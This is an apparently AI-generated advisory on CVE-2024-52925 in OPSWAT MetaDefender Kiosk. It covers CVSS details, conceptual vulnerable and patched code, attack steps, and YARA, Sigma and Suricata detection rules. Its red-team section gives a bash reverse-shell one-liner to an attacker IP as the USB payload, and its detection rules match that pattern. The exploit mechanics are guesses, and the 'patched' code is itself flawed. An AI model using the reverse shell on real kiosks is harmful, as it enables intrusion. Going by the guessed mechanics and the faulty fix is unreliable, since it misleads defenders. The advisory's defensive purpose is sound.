CVE-2024-52925

Executive Summary

CVE-2024-52925 is a critical vulnerability in OPSWAT MetaDefender Kiosk versions prior to 4.7.0. The flaw resides in the "MD Kiosk Unlock Device" feature, which is designed to handle software-encrypted USB drives. An attacker with physical access to the kiosk can exploit this feature to execute arbitrary code, effectively bypassing the kiosk's security controls. This allows the attacker to run malicious software, potentially exfiltrate data, or compromise the kiosk's integrity. The vulnerability has a CVSS score of 6.8 (Medium), but the potential for full system compromise elevates its risk in high-security environments. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not related to a software supply chain package (NPM, PyPI, Go, Ruby). It is a standalone product vulnerability in OPSWAT MetaDefender Kiosk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (AV:L) – Requires physical access to the kiosk.
• Attack Complexity (AC): Low (AC:L) – The attack does not require special conditions.
• Privileges Required (PR): Low (PR:L) – The attacker needs some level of access (e.g., ability to insert a USB drive).
• User Interaction (UI): None (UI:N) – No user interaction is required beyond the attacker's actions.
• Scope (S): Unchanged (S:U) – The vulnerability affects only the kiosk component.
• Confidentiality (C): High (C:H) – Full data access possible.
• Integrity (I): High (I:H) – Full system modification possible.
• Availability (A): High (A:H) – Full system disruption possible.

Threat Level: High. While the CVSS score is Medium, the impact on confidentiality, integrity, and availability is High. The requirement for physical access reduces the attack surface, but in secure facilities, this vulnerability is critical.

Deep Dive & Mechanics

The vulnerability exists in the "MD Kiosk Unlock Device" feature, which is intended to allow users to unlock software-encrypted USB drives for scanning. The feature likely processes a command or script from the USB drive to unlock it. Due to insufficient input validation or sanitization, an attacker can craft a malicious USB drive that, when inserted and the unlock feature is used, executes arbitrary code with the privileges of the kiosk application.

Attack Flow:

1. Attacker gains physical access to the kiosk.
2. Attacker inserts a specially crafted USB drive containing malicious code.
3. Attacker uses the "MD Kiosk Unlock Device" feature.
4. The kiosk processes the malicious payload, executing arbitrary code.
5. The attacker can then run commands, install malware, or exfiltrate data.

The vulnerability is likely due to improper handling of user-supplied input (e.g., a script or command from the USB drive) without proper validation or escaping.

Vulnerable vs. Patched Code

Since the patch is not publicly available, the following is a hypothetical example of the vulnerable and patched code.

Vulnerable Code (Conceptual):

def unlock_device(usb_path):
    # Read unlock script from USB drive
    with open(usb_path + '/unlock.sh', 'r') as f:
        script = f.read()
    # Execute the script without validation
    os.system(script)

Patched Code (Conceptual):

def unlock_device(usb_path):
    # Read unlock script from USB drive
    with open(usb_path + '/unlock.sh', 'r') as f:
        script = f.read()
    # Validate script content (e.g., allow only specific commands)
    if not is_valid_unlock_script(script):
        raise Exception("Invalid unlock script")
    # Execute the script with restricted privileges
    subprocess.run(script, shell=True, check=True, user='kiosk_user')

The patched version adds input validation and runs the script with reduced privileges.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Physical access to the kiosk.
• A USB drive.
• Knowledge of the unlock feature.

Steps:

1. Create a malicious USB drive with a file named unlock.sh (or similar) containing arbitrary commands.
2. Insert the USB drive into the kiosk.
3. Use the "MD Kiosk Unlock Device" feature.
4. The malicious script executes.

Example Malicious Script:

#!/bin/bash
# Reverse shell to attacker's machine
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Blue Team (Defender)

Detection:

• Monitor for unusual process execution from the kiosk application.
• Monitor for network connections initiated by the kiosk to unknown IPs.
• Monitor for USB device insertion events.

Prevention:

• Restrict physical access to kiosks.
• Disable the "MD Kiosk Unlock Device" feature if not needed.
• Implement application whitelisting.

Indicators of Compromise (IOCs)

• File: unlock.sh or similar script on USB drive.
• Process: Unusual child processes spawned by the kiosk application (e.g., bash, cmd.exe, powershell).
• Network: Outbound connections to unknown IPs on high ports (e.g., 4444).
• USB: Insertion of unknown USB drives.

Detection Engineering

YARA Rule

rule CVE_2024_52925_Malicious_USB_Script {
    meta:
        description = "Detects malicious unlock scripts for CVE-2024-52925"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "unlock.sh" nocase
        $s2 = "bash -i" nocase
        $s3 = "/dev/tcp/" nocase
    condition:
        any of ($s1) and any of ($s2, $s3)
}

Sigma Rule

title: CVE-2024-52925 - OPSWAT MetaDefender Kiosk Unlock Device Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of malicious scripts via the MD Kiosk Unlock Device feature
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: 'kiosk.exe'
        Image|endswith:
            - 'cmd.exe'
            - 'powershell.exe'
            - 'bash.exe'
    condition: selection
falsepositives:
    - Legitimate use of the unlock feature
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52925 - OPSWAT MetaDefender Kiosk Reverse Shell"; flow:to_server,established; content:"bash -i"; content:"/dev/tcp/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update OPSWAT MetaDefender Kiosk to version 4.7.0 or later.
2. Disable Feature: If upgrade is not possible, disable the "MD Kiosk Unlock Device" feature.
3. Physical Security: Restrict physical access to kiosks to authorized personnel only.

Long-Term Measures:

• Implement application whitelisting to prevent unauthorized code execution.
• Monitor for suspicious USB device usage.
• Conduct regular security audits of kiosk configurations.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.